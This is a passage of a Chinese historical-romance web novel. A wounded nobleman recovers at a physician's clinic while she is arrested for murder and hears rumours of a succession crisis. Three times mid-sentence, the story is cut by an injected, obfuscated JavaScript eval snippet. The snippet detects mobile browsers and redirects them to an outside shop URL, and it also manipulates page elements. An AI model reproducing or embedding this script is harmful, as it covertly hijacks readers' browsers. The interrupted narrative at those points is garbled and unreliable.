他叹了口气,认命地拿起笤帚将院子从东扫到西,又将诊室和药堂的角角落落都擦了个干净,待将一切收拾妥当,天光已经大亮。 司徒靖紧闭双眼,正在病舍内安静地调息。 他是在约莫一刻前彻底清醒过来的。 意识刚一回笼,伤口处的剧痛便席卷而来。 司徒靖紧咬牙关,在被子里悄悄握紧拳头,不过几息之后,他便适应了手指骨节处的刺痛,只是因受伤和昏迷过久的缘故,他的四肢还有一些酸软乏力,随身的兵器也早已不知去向,此时若遭遇歹人,难免又要陷入一场苦战。 因此他没敢出声,而是趁着“昏迷”的状态暗中观察起周围的情况来。 南方温和湿润的空气中弥漫着药物的甘苦香味,他猜此处应是个医馆或者药堂。 司徒靖微微侧头,眯眼看向旁边,只见床头摆着个擦得锃亮的木质小案,上面整整齐齐地放着他随身携带的荷囊与钱袋,旁边还叠着件黛紫色的男式外袍。 这个颜色…… 他不由瞠目,立即撑起半身,将整间病舍迅速扫视一圈。 屋内陈设简单,不远处的木架上放着一些疡医常用的工具,墙上则挂着幅没有落款的“华佗行医图”,从章法气韵中能看得出画者应当有不俗的功底,而那兰叶线描和浅绛设色的风格更加深了他对此处主人身份的猜测。 真的是她? 不,仅凭这些还不足以判断。 司徒靖强行压下心中狂喜,又闭上眼睛,将注意力集中到听觉上。 院里并没有多少人声,似乎只有一位少年在来回忙着些粗活,听脚下的动静应当不是练家子。 他正想着,那阵脚步声便渐渐接近此处,直到停在门口。 司徒靖瞬间躺回床榻,恢复昏迷时应有的姿态。 病舍内一片寂静,宋福轻手轻脚地进屋,将水盆放在床边。 他今日忙活一早上,刚闲下来便想起东家曾说过这郎君生性好洁,料想此人昨晚发了一夜汗,怕是体感不舒爽,现下既得空,就打算再为那人擦一遍身体。 谁知指尖刚一触到衣带,他的腕子便被死死扣住。 榻上之人倏然睁眼,眸中全无一丝昏沉。 “嘶……啊!郎君……您……您醒了?” 司徒靖冷冷看他一眼,而后松手坐起,问:“此处何地?你是何人?我为何会在这里?” 他的嗓音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922988|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低沉,又因久未进水而更显沙哑,再配上那副高大体格和冰冷神色,实在是气势逼人。 宋福勉强抬起有些发颤的胳膊,拱手回道:“这……这里是青囊山庄门下医馆‘归元堂’,小的名唤‘宋福’,进山采药路过綦江时见郎君您晕倒在岸边,这才将您带了回来。” 青囊山庄,归元堂! 据他此前所得到的消息,两年前江楚禾奉青囊山庄师门之命助官府抗疫之后,便留在此处开设医馆,其名正是“归元堂”。 可是,若是她救下自己,为何却不肯相见? 还是说…… 面前之人并非江楚禾的属下,而是占据此处,伺机加害于他俩的歹人? 司徒靖心念电转,面上却不露分毫。 见他半天都不作声,宋福只得硬着头皮继续:“眼下郎君的外伤已然无碍,若还有要事在身,小的便不多留您,郎君且请自便。” 这是要赶他走? 司徒靖暗自打量起面前的人。 这瘦小少年身穿本色粗布短打,装束虽然简单又普通,看着却十分干净。 他顺着对方的衣袖又向下看去,只见少年的双手正搭在身前,相互绞着的指头上还留有些许暗红的痕迹,像是分拣药材时被刮破皮肤而弄出的伤口。 看上去倒是挺符合医馆弟子的身份,只是不知为何,此人神色竟如此慌张,分明是有意隐瞒些什么,并且言语间似有催促自己离去之意,像是背后另有图谋。 司徒靖思忖片刻,决定先将这场戏接下去,再看看对方意欲何为。 他拿起自己的钱袋,掏出一个金灿灿的物件递给宋福:“在下途经此地,因一时失察而遭歹人毒手,幸得恩公搭救才得以保命。救命之恩无以为报,暂且以此作为信物,他日另有重谢。” 宋福迟疑着接过,上手才发现那东西分量不轻,小小一块就足有一斤重。 那是个模样奇怪的物件,形似兽趾、色如黄金,上面雕刻着精细的纹路,在细看两眼后,他终于有些认出此物,不由得张大了嘴。 怪不得那钱袋重得厉害,什么人出门会随身揣着包金饼啊? “郎君……这太过贵重了!”宋福一边说着,一边将金饼往对方手心里塞。 司徒靖虽然重伤未愈,手上的力气却仍是大得离谱,看似只是随手扶住对方,可当他的十指堪堪停在宋福腕上,那两条胡乱推拒的细长胳膊便立即动弹不得。 “恩公莫要推辞,在下还有一事请教。” 看他松开双手,对自己端正行礼,宋福的心中有些七上八下。 这阵势,怕是得问啥不得了的事情,万一东家没交代过,这可要怎么回话呀! 他抬起眼,巴巴地望着司徒靖,嗫嚅道:“郎君不必客气,有事您直说便是……” “方才恩公说过,在下的外伤已然无碍。” “嗯。” “那请问在下所中之毒……” 此时宋福恨不能一个大耳刮子把自己扇回到头天晚上,好将那个不学无术的自己拎到东家面前,把这个邪门毒物的事情问一个清楚明白。 少庄主平日里教训得真对,果然是“书到用时方恨少”! 他满心悔恨地回道:“小的无能,对那毒物的确毫无头绪,郎君还是去大些的医馆瞧瞧吧。” “恩公的意思是……并未处理我所中之毒?” “小的能力不足,不敢贸然行事,实在是……万分惭愧……” 司徒靖在刚醒来时便运功探过自己体内的毒,虽说甫一吸入那成分不明的气体,他便立即闭气,并用内力将全身各处大穴封住,但此法只能撑住一时,眼下已过去这么久,毒素却还未扩散至五脏六腑,应是有人为他行针压制过毒性。 “既然如此,在下还需见过那位能够以毫针封脉、抑制毒发的高人,不知恩公可否代为通传?” 要老命了! 宋福连连摆手,“没……没别人啊,这医馆只有小的一人……” 司徒靖微眯双眼,看向宋福的眼神又多出几分警惕。 宋福跟随江楚禾虽已有两个年头,可到底是先天不足,对东家那信口开河的本事愣是半点都没学到,此时更是眼神躲闪、形容慌张,满脑子想的都是赶紧把这祖宗送走。 再这么聊下去还不得出大事? 他摩挲了两下手中的金饼,作势就往司徒靖的手里塞去:“所以说……小的只是为您包扎了一下,郎君真不必如此客气。我们这穷乡僻壤,不像你们兴京医馆的诊费那般贵,要不了这么些钱的!” 司徒靖闻言面色一凛,“你怎知我是兴京来的?” 宋福真想咬断自己的舌头。 4. 同忧 “诶呀呀!不得了啦!出大事啦!”一阵惊呼从不远处传来。 宋福在心中懊恼地附和:可不是嘛!果然人就不能多话! 待几息之后,他回过神来,这才想到…… 那不是钱媪的声音嘛? 他心道不妙,就钱媪那张嘴,要是见着这般年轻俊俏的郎君宿在此处,还不得上赶着把东家的底细给抖落干净? 宋福向司徒靖深鞠一躬,神色略显着急:“郎君请稍候,小的先去店堂里看看。” 没等对方有所回应,他便小跑着出了门。 钱惠姑见宋福过来,也不等他站定,就挥着帕子高声问道:“哎哟!怎么是送福童子呀!江娘子呢?” 宋福人还离着几丈远,就让那股子兜头而来的脂粉味呛出一连串喷嚏,他揉了揉鼻子,将钱惠姑拉到一边,压低声音道:“医馆今日休沐,东家不在,钱媪改日再来吧。” 谁知那老妇听罢此言,不仅没有要离开的意思,竟还高声喊叫起来:“吓!怎的不在?江娘子几时回来?哎呀!老身是真有大事要同她说!” 你能有什么大事?左不过就是县里又来了哪个年轻后生,让东家赶紧抓住机会。 宋福如此思量着,但嘴上却还是不住地安抚着钱媪,好声好气地把她送出门,待他终于将那磨人的老主顾打发走,又急急忙忙地回到病舍时,此处却已是人走屋空。 那人到底是离开了,似乎也并没有深究东家的身份。 不知这差事……算是办砸了没有? 宋福苦着张脸瘫坐到地上,捏着那块没来得及还回去的金饼,越等越没有底气,忍不住嘀咕着:“东家出门这么久都没回来,究竟是去哪里了?” * 江楚禾也没想到,今日这船怎么能行得如此慢。 弋陵是大梁举国闻名的水城,綦江的支流染月河分三股穿城而过,水流如缎带般不时交汇,将城内几条主要街道串连起来,平日里驾船出行再方便不过。 可不知怎的,今日当江楚禾乘船行至芙蓉街附近时,河中却莫名拥堵起来,就连岸边也挤满看热闹的人群,整条街都是一副乱糟糟的景象。 眼见船被堵在岸边,她只好起身,也如其他路人一般张望起来。 江楚禾在寻常女子中本算高挑,只是眼下站在船上,生生矮了岸边路人一大截,梗着脖子瞧了半天还是被人群堵得严严实实,活像是只一头栽进鹅群里的小鹌鹑。 她只好揉揉有些酸痛的脖颈,向身旁路人打问道:“老丈,请教您一下。这前边儿是出什么事了?怎的这么多人挤在此处?” 那老伯一听,来了精神,也顾不得继续瞧热闹,扭头就给江楚禾分享起来:“嘿呀!小娘子!你刚没听王老婆子说吗?赖家那小少爷昨日在烟柳阁过夜,被赖老爷发现啦!眼下正差使家丁到处抓人呢!啧啧啧,这才二十不到的年岁,就开始在窑.子里混了!真是个败家玩意!要我说啊,这赖家……怕也是富不过三代啰!” 宁州豪商赖氏家财万贯、富可敌国,说出去自是人人艳羡,可唯有一点遗憾,在历任家主之间都犹如心病:那便是人丁稀薄、世代单传。 而现下正被家丁追着满街跑的那位小少爷,正是现任家主赖坤之子,赖延。 赖小少爷年方十八,恰是桀骜不驯的岁数,江楚禾曾与此人打过些交道,虽然早知他喜博好赌,不是块让人省心的料子,却还是头回听说他有这种癖好。 不过,她对旁人的阴私向来不怎么感兴趣,眼下既已知晓水路拥堵的缘由,便也不再着急,索性在船上落座,一边吃着腌梅干,一边耐心等待行船前进。 可惜她不看热闹,热闹却要上赶着来找她。 “借过!借过!哎呀!都给小爷我起开!” 江楚禾刚意犹未尽地咽下最后一颗梅干,还没来得及细细回味,就听到附近一阵呼喊,紧接着又是“咚”的一声,有个人形物体径直砸下,单薄的小船在河面上晃了几下,险些翻个底儿朝天。 她扶住船沿勉强稳住身子,还不忘撩起长袖挡住兜头溅来的河水。 “船家拿好!快点带我离开这里!” 整锭银子果然比零碎铜钱更能助长气力,船夫从赖延手中接过银锭后,像是被什么厉害玩意附了体,不知突然从哪里来的本事,愣是撑起船在热热闹闹的河面上划出几个蜿蜒蛇形,没两下的功夫,三人已距离岸边越来越远。 那小少爷眼瞅追过来的家丁跺着脚在岸上干着急,顿时心情大好,转头看向一旁刚才放下长袖的同舟人。 “哟!这不是神医阿姊嘛!”赖延露出招牌笑脸:“你我果真是有缘得很呐!” 不然这满河都停有船只,怎么偏巧他就挑中江娘子的这艘跳了上来? 可江楚禾并不这么想。 她十分准确地将眼下的情形总结为“倒了大霉”! 但生意还是要做的,面子功夫总归要到位。 看在银子的份上,江楚禾扮起笑脸,像模像样地见礼道:“赖小郎君安好。” “啧……‘小郎君’?”赖延皱起眉头,一副不大满意的模样,“我又比你小不了几岁,神医阿姊怎的就不能唤我一声‘赖郎’呢?” 听到这句“赖郎”,江楚禾直掉鸡皮疙瘩。 明明如此称呼年轻男子是再寻常不过的事情,可怎么这个词儿从他嘴里说出来就那么的…… 轻浮孟浪! 她想到方才那老丈说起这位赖小少爷夜宿勾栏的事儿,一时没忍住嘴贱的本性,顺着话头揶揄起来:“怎么,在烟柳阁里听了一夜,还没腻味‘赖郎’这称呼啊?” “哎呀!神医阿姊当我是什么人了?”赖延的语气带着几分委屈,听上去竟像是遭了天大的冤枉,“你可莫要多想,我这身子还清白着呢!” 你的清白同我有什么关系? 见他靠近了些,江楚禾一脸警惕地朝旁边空位又挪去几寸。 可赖延却像是对被嫌弃的信号浑然不觉,硬凑过来对她道:“我是听说烟柳阁这几日来了位兴京的花魁娘子,有‘美女赌神’之称!这才特意拜师去的!” “兴京来的花魁娘子?” “嗯啊!啧,神医阿姊你这反应不对啊!难道重点不是在‘拜师’吗?” 显得小爷我多么的勤奋好学啊! 江楚禾强忍住要翻白眼的冲动,好心提醒道:“人花魁娘子不在都城过好日子,怎会来咱们这南蛮之地?” 言下之意很明显:你莫不是让人给唬了吧! 但赖延却一脸的不以为然,他“啧”了一声,又道:“话说神医阿姊还不知道吧……” 赖延凑近一些,环顾四周见人群已经散去,河中秩序也渐渐恢复,这才压低声音对江楚禾继续道:“我听说……兴京怕是要出乱子,那花魁娘子恐怕也是为了避祸,这才屈尊来咱宁州的。” “兴京能出什么乱子?” 毕竟自五年前武烈侯晏襄率军屠尽西绝王族后,大梁北境已再无王庭。 除此之外,还有什么势力竟能让兴京乱起来? 没等她问,赖延就直言道:“据说那个晏家,怕是要不行了……” “嗡”的一声,江楚禾感到一阵耳鸣。 在大梁境内,能被称为“那个晏家”的,恐怕也只有…… 她登时脸色煞白。 赖延却并未发现她神色的异常,仍压低嗓音在江楚禾耳边三言两语地解释着。 原来,自武烈侯因病重没能熬过去岁秋季开始,整个晏家倒是都跟着入了冬,众位族亲因些鸡毛蒜皮的小事屡受弹劾也就罢了,谁承想绣衣使阎真从华阳长公主府内挖出的一只草扎娃娃开始,借着由头大做文章,愣是掀起一场牵连百人之众的猎巫大案,其规模空前不说,更是以太子妃之父、武烈侯的族弟晏亨一脉被全数诛杀而终局收场。 关于此事,赖延也是道听途说,讲不清其中内情,但这一系列事件所指向的结果却是任何稍有头脑的人都能猜得到的。 “神医阿姊你想啊,武烈侯是太子的亲舅父,那奉车都尉晏亨又是太子的岳丈,绣衣使这般不给面子,摆明就是有人想拿太子党开刀啊!而且,我看圣上也没有要保晏家的意思,否则绣衣使就是再胆大包天,也不至于把太子妃的亲爹往死里逼吧?” 他想的不错。 本朝专设的“绣衣使”不隶属于某个机构,也并非常设官职,而是由圣上亲自挑选指派,为办理专案时特设的钦差,奉旨讨奸治狱、督查百官,与御史台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922989|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一武一文,同为圣上的鹰犬爪牙。 以江楚禾的过往经历来看,他们最擅长的就是闻音知意和见风使舵,此事表面来看是绣衣使阎真在对晏家下手,可实际上背后定有建兴帝的默许。 其实,在五年前她还未曾离京时便已听人说过,太子在少年时期还颇受圣上宠爱,但年岁渐长后却反倒越发不受器重起来,不少人都猜是因太子性情过于宽仁懦弱,令建兴帝深觉“子不类父”的缘故。 如今看来,个中缘由虽不甚清楚,但东宫失宠是确有其事。 “可圣上现今已是大衍之年,怎会如此坐视储君失势……莫非……” 江楚禾一时失神,轻声自言自语一句,虽在紧要处匆忙掐断话头,可赖延却已顺着她的思路继续下去:“莫非……是对接班的人选有了别的主意……” 她没想到赖延竟将话说得如此直白,瞪起一双杏眼朝他看了过去。 赖延抖一抖自己的衣袍,浑不在意地说:“神医阿姊不必担心,莫说此处并无旁人,便是被人听去又有何妨?此事早就传遍大街小巷,谁人不曾妄议过二三句?不要紧的。” 说罢,他又凑近一些,低声对江楚禾道:“我听说,圣上如今属意于燕王殿下,咱宁州可有不少权贵已上京打点过了。” “燕王?可他不是……” 建兴帝的膝下共有三位皇子,其中太子嫡长,齐王嫡次,三皇子燕王则非正宫所出,而是当年随侍中宫的女官韩氏趁晏皇后身怀六甲期间偶受临幸所得。 虽然在诞下齐王之时,晏皇后便因难产薨逝,可圣上却似乎并无再立新后的打算,现如今正宫之位已然空悬二十余年,即便韩氏母凭子贵,由侍从女官摇身一变成为一宫之主,又从韩美人一路升到今日的韩贵妃,依旧不改燕王庶皇子的身份。 这在那群将宗法制度奉为圭臬的清流老臣眼里,可是皇权传承的大忌! 但赖延却不以为意。 “嘿!非嫡非长又如何?如今晏家失势,太子也不受宠,圣上还有的选么?总不能让那位守了十来年皇陵的‘幽灵王爷’来继承大统吧?” 江楚禾默然无语。 赖延则无视她的沉默继续说道:“而且啊……我听说这个燕王还真有两下子,前年武烈侯病重无法领兵,还是他亲自率军拿下的碧璆岛!” 赖延思虑尚浅,难免凭着坊间传闻和个人好恶来评判储君德行,可江楚禾毕竟是世家望族出身,自小对朝中之事耳濡目染,总归要想得深些。 据她了解,这位燕王殿下虽勇武有余但才智不足,其人杀伐之心过剩而独缺仁政爱民之德,若是为将还勉强堪用,可为君嘛…… 百姓怕是少不得要受些苦了。 不过,赖延这位富贵白丁显然没想那么远,他心里琢磨着的还是迫在眉睫的兴京之乱。 “如今燕王在朝中风头正盛,晏家又眼看要靠不住,太子肯定是越发难过,若圣上真的起了什么旁的心思……” 赖延顿了顿,用那双透着狡黠目光的狐狸眼盯着江楚禾,眼神中充满暗示。 她心下了然。 东宫那位自垂髫之年受封,到如今已经当了二十来年的太子,若是一朝易储,想来不会坐以待毙,到时如果来一个破釜沉舟,必会殃及池鱼,兴京肯定是说乱就乱。 “我跟你讲,不只是花魁娘子,就连同我相熟的好几户兴京商号都打算关门歇业一阵再另做打算了!” 赖延见江楚禾神色有异,知道她定是已想到自己未尽之言,便接着话头继续。 “通过这件事,我悟出来了一个道理!”他一拍大腿,感慨道:“还是我们家这种世代单传的好,没有兄弟相互争权夺利,将来我们赖氏偌大的家业都是我一个人的!” 真有出息! 江楚禾忍不住腹诽一句,但却没有心思再对这番言论敷衍一二。 因为,当下她满脑子都是那个人血浸满襟的模样。 她不知他究竟为何受了重伤又流落此处,是因晏家的事情遭到牵连,还是出于什么旁的缘故。 但无论如何,她都不能就这样将他赶出去。 正所谓“同病相怜,同忧相救”。 她此时只有一个想法,那便是赶紧回去,留住他。 5. 蒙冤 江楚禾回到归元堂时,已经是正午时分,但天色却阴沉昏暗,看着像是要落雨一般。 她一把推开虚掩着的院门,直奔病舍而去。 宋福听到动静,赶紧从地上爬起来,“东家!你可算回来了!” 他本想将今日早上发生的事情一一禀报给东家,谁知江楚禾刚进病舍,人还没站定就劈头问道:“阿福!他人呢?” “走了……啊……”这不是正合东家心意吗? 宋福话音未落,江楚禾又急着追问:“那他有没有说什么?” “倒也没说什么特别的……” 宋福将早上那郎君如何问起所中之毒,钱媪又是如何前来打了岔的事囫囵讲述一番。 “喏,这就是那郎君留下的,我瞧着像是金饼呢!” 江楚禾将其接过后看了一眼,哑然失笑。 那人怕是个傻的。 她将手中的物件放到桌上,思量着自己是该去哪里赌运气,才会有更大的赢面能将人带回来:他既然是先对宋福生出疑心,而后又趁其不备暗中离去,想必此刻应当是要先离开此地再做打算,以免在医馆泄露行踪引来追兵。 那他是会走水路还是…… “咚!咚!咚!” 一阵凶狠又急促的敲门声突然响起,将江楚禾的思路打断。 她使了个眼色,宋福忙不迭地出去应门。 来人不过三位,个个皂衣长刀,表情凶狠。 大梁乃是兵变建国,对于民间武器的管理严格得很,若非在衙门登记备案又烙了印戳的刀具,断不可能就这么带着在光天化日下行走。 宋福心知来者不善,也不敢细瞧对方,只等人自报家门。 幸而来人没让他等多久,就痛快地掏出腰间的令牌,“我等乃是弋陵县衙捕快,现奉刘县尉之命,召归元堂掌柜江娘子前去问话!” 宋福抬起眼皮。 按本朝规矩,捕快平日身着便装,靠腰牌自证身份,眼前这三位的令牌看着倒没什么问题,可对方态度蛮横,又语焉不详,他难免心生疑虑,于是大着胆子多问一句:“捕爷!不知我们东家是犯了啥事……” “你给老子滚开!”一位左脸有着深深刀疤印记的男子猛推宋福一把。 闹出这么大的动静,江楚禾自然早就坐不住了。 “阿福!”她小跑着赶来,将那单薄的少年药僮一把拉到自己身后,转过头又对来人恭敬行礼道:“民女正是江氏,不知捕爷有何吩咐?” “哼!刘县尉有令,召江娘子前去问话!” 江楚禾感到有些意外。 在她开门做生意的这两年里,和弋陵县衙打交道的次数并不算多,接触的官差也多是县丞屠牧手下负责收税的胥吏。 县尉刘亢主管刑狱治安,自己这是犯了什么事竟能招惹到他的头上? 她从腰间掏出一块碎银子,塞给那位面相凶恶的“刀疤脸”,又端起笑容问:“不知民女所犯何事,还请捕爷明示。” 拿了银子后,“刀疤脸”的面色果然缓和了不少,还真耐下心来解释道:“其实吧,咱也不知道具体发生了啥,是廖捕头吩咐我们几个来请江娘子回衙门的。” 江楚禾好歹也算是官宦世家出身,如今虽落难至此,但对官府里边那些门道还是略知一二的。 她明白,这些捕快平日里虽带刀行走,看似威风,却是县城衙门里地位最低的那一拨人,未必真能知道堂上官爷每道命令的背后都藏着什么心思。 是以,江楚禾听那“刀疤脸”如此答复便也不再为难他,只是欠了欠身,道:“那烦请捕爷稍等,民女稍作安排后便随捕爷同去。” 她先用三两句话安抚住宋福,而后又回屋简单收拾一番,这才随着“刀疤脸”一行人朝着衙署走去。 弋陵县衙坐落在中心城区一段风光秀丽的老街上,朱门碧瓦,坐北朝南。 衙署门前立着一面石刻照壁,上边雕着“蝙蝠莲花图”,象征“连年有福”,是南方民间最吉利的花样。 当然,这面照壁还有更高雅的寓意,正如壁上题字所云:“洁身自好,造福一方”。 虽然清不清廉不好说,造没造福也很难讲,不过这照壁在提振衙署气势这方面确实是没得说。 江楚禾路过时细看了两眼,饶是自小长在兴京,多少算见过些世面的她也不得不承认,此物用料考究、雕工精细,瞧着真是贵气得很。 她一路张望着随“刀疤脸”走进府院,对方在嘱咐她“留在此处好生候着,莫要再四下打量”后便不见踪影,只剩下江楚禾同院内哈欠连天的小守卫在那大眼瞪小眼。 她虽在行医之时仔细小心,但却并不是什么耐得住性子的人,在那老实站了没多久,就开始百无聊赖地寻事,先是垂头盯着院内翘起的石板砖看了半晌,又捡起地上的树枝子一轮一轮地帮蚂蚁搬家,这才在消磨掉大半个时辰后终于等来了几位活人。 “刘县尉,这边请,人已经候着了。” 先头引路的是位穿着捕头衣裳的男人,此人身材瘦削、两颊凹陷,偏又长着个棒槌似的长柱脑袋,留着两撇八字胡,唇边还有一颗不大不小的黑痣,像极了说书先生口中修成人形的山鼠精怪。 “廖庆,这就是归元堂的江娘子?” 发话的人正被几位衙役簇拥着往这边走,不过因此人身材实在过于“伟岸”,那腰身足有“山鼠头”的两个粗,即便有人正站前头为他开道,仍旧是丁点都挡不住他的身影。 江楚禾循声望去。 尽管她不曾与其打过交道,但那颗南瓜般的脑袋、生煎似的小巧发髻以及当中的桃木发簪却是令人印象深刻,她虽只在不久前曾远远瞥见过一眼,也断不会认错。 此人正是弋陵县尉刘亢。 她老老实实地福了福身,低眉顺眼地见礼道:“民女江氏,见过刘少府。” 可这般乖顺的模样却并未换得刘亢的半点好脸,对方冷哼一声,劈头就问:“江氏,你可记得那船夫李全?” “李全?”还真不记得。 看她一副疑惑之色,廖庆“啧”了一声,提示道:“便是上元夜与你当街冲突的那位!” “哦,我又没伤着他。” “伤着?呵……他死了!” 什么? 她杏眼圆瞪,还未来得及说些什么,便听廖庆又道:“臭娘们少装蒜!不就是你下手杀的吗?” 听到这话,江楚禾立即意识到,自己一时半刻恐怕是不能脱身了。 但不知为何,她的第一反应却是在想:也许有些人是命中注定就要错过的,只是不知他如今身在何处,可有平安离开弋陵? * 司徒靖薄唇紧抿,正用手狠狠摁住略微渗血的伤口,背靠水神庙的墙壁,慢慢平复着呼吸。 宁州多江河,亦多天灾,本地百姓少不得要供奉水神以佑平安,而赤浦码头的这座水神庙尤其出名,曾是誉满全国的宁州名胜之一。 这座神庙建成已有千年之久,在鼎盛时期,此处堪称香火不绝,原本没有废弃之理。 可谁知在十年前的“三王之乱”中,宁王兵败逃至此处,于走投无路之际竟纵火自焚,不仅一举断绝自己的活路,还硬生生地将这座水神庙烧成一片断壁残垣。 后来,本地漕运大户黄氏家主眼见此庙已不堪修葺,便出资在赤浦码头另寻一块风水宝地,新修了座更为雄伟的水神庙。 此后这里便被弃之不用,逐渐变得荒凉、阴森、人迹罕至,如今只剩下那座已被刮净金漆的泥塑之身仍盘着鱼尾高坐在大殿之中,似笑非笑地俯视着司徒靖这位匆忙闯入的外来者。 他在神庙大殿内侧挑了个还算干净的角落,为自己重新包扎好伤口,然后又将荷囊中那纸药方摊在掌心仔细端详。 自他在医馆换上外袍时不慎抖落这方纸条后,便立即认出了上面的字迹,那一手端正清丽中又不失舒展飘逸的好字,绝非旁人所能摹仿。 是她,真的是她! 五年的守望在这一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922990|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于由幻影化为真实,澎湃的心潮还未涌起,却又被另一个念头倏地拍下。 既然救他性命的正是江楚禾,为何却要躲避不见,让旁人相替? 她不想见他! 司徒靖下意识攥紧拳头,骨节发出清脆的响声,可他却只能选择默默离去。 她相救,是医者仁心;她避开,是心意已决。 若他执意纠缠,恐怕只会惹她厌烦,更何况如今京中乱局难解,一应障碍还未扫除,并非与她相认的最佳时机。 或许,这样也好。 司徒靖轻叹一声,准备向庙外走去。 渡口正与此处相距不远,他若运气不错,应能够在天黑前乘船赶往附近小城,待调理数日,外伤当可痊愈。 至于他所中之毒…… 以江楚禾的一贯作风,绝不会在没有把握的情况下让病患冒险,所以,她既然敢让属下允他自行离开,必是确定自己凭那一纸药方可暂时控制住毒物蔓延。 不过,她没有彻底拔除此毒,莫非是堂堂青囊山庄的传人也对它束手无策? 想起她在药方首行用朱笔圈出的“暂时”二字,司徒靖眉心微蹙。 看来还是得早些与南樟会合,查清那伙歹人背后的猫腻。 这么想着,司徒靖快步向门口走去。 正在此时,一阵慌乱的脚步声从庙外传来。 “阿兄!你带我来这个地方做什么?” 少女清脆的嗓音打破此处的宁静,听上去应有两人正疾步走入殿内。 司徒靖闪身躲入内殿。 “阿姎!你别问这么多,听阿兄的话,赶紧离开弋陵!”王富跪在水神像的座下,一边挖着地砖,一边敷衍着身旁的少女。 “可我,我才刚……” 话说半句,就被王富打断:“你就别管那么多了!三言两语同你说不清楚!” “那你就长话短说呀!” “你还记得李全不?” “李全?阿兄提他做什么?” 阿姎登时白了脸,上元夜灯会时整的那一出可真是将她吓得不轻。 “他死了!” “死……死……了?”阿姎有些结巴地重复着刚刚听到的话,面色越发青白。 “昨晚被人从江中捞出来的……所以咱俩得出去躲一阵,我之前在这水神庙里藏了些银子,今晚咱就离开弋陵,等避过风头再说!”说着,王富伸手去抓阿姎的胳膊。 阿姎扭动一下,却没能挣脱束缚,只好带着哭腔问:“为啥要离开?我要不了几日就能去给黄娘子做贴身丫鬟了,黄四爷为人那般慷慨,我进了黄家,定会衣食不愁的!” “你怎的还不明白?”王富面露愠色,高声喝道:“这李全一死,官府必定要详查与他有过冲突之人,听说现下已经派了官差去归元堂捉拿那掌柜的江娘子,若是官爷问出当日她是因为替你出头才得罪了李全,你说他们会不会将这桩杀头的罪过怀疑到咱们俩身上?” 说罢,他便将刚从地里刨出来的银两揣进怀中,推搡着阿姎往门口走去。 阿姎有些不太情愿:“可咱们是清白的,也不怕被查,为何要躲?而且……而且那江娘子肯定是被冤枉的……不行!我得去跟县老爷说清楚……” “你懂什么?”王富皱眉推着她的后背。 许是因为在生气,他手上的力道一时没有收住,阿姎被推得踉跄几步,眼看就要摔倒在地,而就在此时,王富也忽地感到膝弯一麻,两腿不受控制似地弯曲下去。 不过眨眼工夫,两人便双双向前扑倒,与脚边那粒石子一同砸在地上。 “什么人敢偷袭老子?”王富艰难撑起身子,看向碎石袭来的方向。 只见距离两人几丈远处站着位容貌俊美的高个男子,正面色不善地看着他,手上还拎着根不知哪里顺来的长棍。 殿外惊雷炸响,一道银光透过缺了瓦的屋顶照在那个穿着黛紫色长袍的男人身上。 好似天神下凡,又如魔尊降世。 6. 遭难 打从江楚禾被带走,宋福就锁了医馆大门,现下正在归元堂空荡的店堂内焦急地来回踱步。 可着急又有什么用? 他就是敲破脑壳也想不出东家这是招惹了什么事,被官差带走后竟再没回来。 窗外骤雨初歇,天色却没有一丝要放晴的意思,仍犹如傍晚般昏暗,害得他更加心底发虚。 “咚!咚!咚!”院门突然被人敲响。 但在三下轻重适宜且极富节律的叩门声后,宋福又没再听到别的动静。 他此时自然无心应门,便对着大门口的方向远远喊了一句:“今日东家不在,医馆歇业,客官改日再来吧。” “咚!咚!咚!”门外之人却像是没听到似的,仍按此前的节奏,又继续叩门三下。 “嘶……怎么回事!”宋福有些心焦气躁,但小声嘀咕一句后还是不太情愿地走出店堂。 他趿拉着鞋刚走到院门口,还没等张口问话,就听得门外那人低声道:“是我。” 对方的音色比常人要略微低沉一些,语气中带着几分特有的清冷自持,即便今早只是听他说了寥寥数语,宋福也绝不会认错。 来人正是东家那位兴京的故人。 他回忆起晌午江楚禾回来时似乎已经改变念头,像是又打算将这郎君留在医馆的样子,想必此刻将人放进来或许也没有什么不妥……吧? 在犹豫片刻后,宋福打开了门。 “我听闻江娘子已被县衙官差带走,可有此事?” 司徒靖刚一走进院内便急着向宋福求证,语气听上去虽仍如往日般镇定,但微微蹙起的眉头还是将他此时的心焦暴露无遗。 宋福眼下没有闲工夫再去细究这郎君是如何发现东家的身份,又是从何处听说东家被捕爷带走的事。 此刻他满心满脑都在重复一句话:终于等来个能拿主意的人,可以救救东家了! 